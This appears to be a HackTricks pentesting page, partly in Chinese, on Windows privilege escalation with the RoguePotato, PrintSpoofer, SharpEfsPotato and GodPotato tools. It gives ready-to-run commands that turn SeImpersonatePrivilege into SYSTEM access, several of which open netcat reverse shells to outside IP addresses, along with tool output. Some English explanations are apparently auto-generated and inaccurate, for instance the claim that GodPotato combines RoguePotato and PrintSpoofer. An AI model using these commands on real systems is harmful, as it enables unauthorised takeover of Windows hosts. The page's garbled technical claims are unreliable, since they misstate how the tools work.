hacktricks/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
2023-08-03 19:12:22 +00:00

8.9 KiB
Raw Blame History

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

{% hint style="warning" %} JuicyPotato在Windows Server 2019和Windows 10版本1809之后不起作用。然而,可以使用PrintSpooferRoguePotatoSharpEfsPotatoGodPotato利用相同的权限并获得NT AUTHORITY\SYSTEM级别的访问权限。这篇博文深入介绍了PrintSpoofer工具该工具可用于滥用Windows 10和Server 2019主机上的模拟权限JuicyPotato不再起作用。 {% endhint %}

快速演示

PrintSpoofer

c:\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd"

--------------------------------------------------------------------------------

[+] Found privilege: SeImpersonatePrivilege

[+] Named pipe listening...

[+] CreateProcessAsUser() OK

NULL

RoguePotato

RoguePotato is a local privilege escalation technique that takes advantage of the Windows COM Server to execute arbitrary code with SYSTEM privileges. This technique exploits the "Local Service" to "Local System" privilege escalation vulnerability.

To perform this attack, you need to have a low-privileged user account on the target system. RoguePotato works by creating a malicious COM Server that impersonates the "Local Service" account. When a privileged process requests the COM Server, it will execute the malicious code with SYSTEM privileges.

The steps to execute RoguePotato are as follows:

  1. Compile the RoguePotato code using Visual Studio or any other C++ compiler.
  2. Transfer the compiled executable to the target system.
  3. Open a command prompt with the low-privileged user account.
  4. Execute the RoguePotato executable.
  5. Wait for a privileged process to request the COM Server.
  6. Once the COM Server is requested, the malicious code will be executed with SYSTEM privileges.

RoguePotato is a powerful technique that can bypass certain security measures, such as User Account Control (UAC), and escalate privileges on a Windows system. It is important to note that this technique should only be used for ethical hacking and penetration testing purposes, with proper authorization.

c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999

SharpEfsPotato

SharpEfsPotato is a tool that leverages the EfsRpcOpenFileRaw function to perform a Local Privilege Escalation (LPE) attack on Windows systems. This attack takes advantage of the EFS (Encrypting File System) service, which allows users to encrypt files and folders on their system.

By exploiting a misconfiguration in the EFS service, an attacker can escalate their privileges from a low-privileged user to SYSTEM level. This can be achieved by creating a specially crafted file and using the EfsRpcOpenFileRaw function to open it. The function will then execute a command as SYSTEM, allowing the attacker to gain full control over the system.

To use SharpEfsPotato, you need to provide the path to the file you want to create and execute as SYSTEM. The tool will then create the file and use the EfsRpcOpenFileRaw function to open it, triggering the privilege escalation.

It's important to note that this attack requires administrative privileges to execute successfully. Additionally, it's worth mentioning that this technique has been patched in newer versions of Windows, so it may not work on fully updated systems.

To protect against this attack, it's recommended to keep your Windows systems up to date with the latest security patches and configurations.

SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
SharpEfsPotato by @bugch3ck
Local privilege escalation from SeImpersonatePrivilege using EfsRpc.

Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.

[+] Triggering name pipe access on evil PIPE \\localhost/pipe/c56e1f1f-f91c-4435-85df-6e158f68acd2/\c56e1f1f-f91c-4435-85df-6e158f68acd2\c56e1f1f-f91c-4435-85df-6e158f68acd2
df1941c5-fe89-4e79-bf10-463657acf44d@ncalrpc:
[x]RpcBindingSetAuthInfo failed with status 0x6d3
[+] Server connected to our evil RPC pipe
[+] Duplicated impersonation token ready for process creation
[+] Intercepted and authenticated successfully, launching program
[+] Process created, enjoy!

C:\temp>type C:\temp\w.log
nt authority\system

GodPotato

GodPotato is a technique that combines the RoguePotato and PrintSpoofer exploits to achieve local privilege escalation on Windows systems.

RoguePotato is an exploit that takes advantage of the Windows COM Server to execute arbitrary code with SYSTEM privileges. It works by creating a malicious COM object that triggers the execution of a specified command. This can be used to escalate privileges from a low-privileged user to SYSTEM.

PrintSpoofer, on the other hand, is a tool that abuses the Windows Print Spooler service to gain SYSTEM privileges. It exploits a vulnerability in the service that allows an attacker to impersonate the SYSTEM account and execute arbitrary commands.

By combining these two exploits, GodPotato allows an attacker to escalate their privileges on a Windows system. The attacker first uses RoguePotato to create a malicious COM object that triggers the execution of PrintSpoofer. This allows them to gain SYSTEM privileges and execute arbitrary commands on the target system.

To protect against GodPotato, it is recommended to apply the latest security patches and updates to your Windows systems. Additionally, disabling the Windows Print Spooler service can help mitigate the risk of PrintSpoofer exploitation.

GodPotato -cmd "cmd /c whoami"
GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥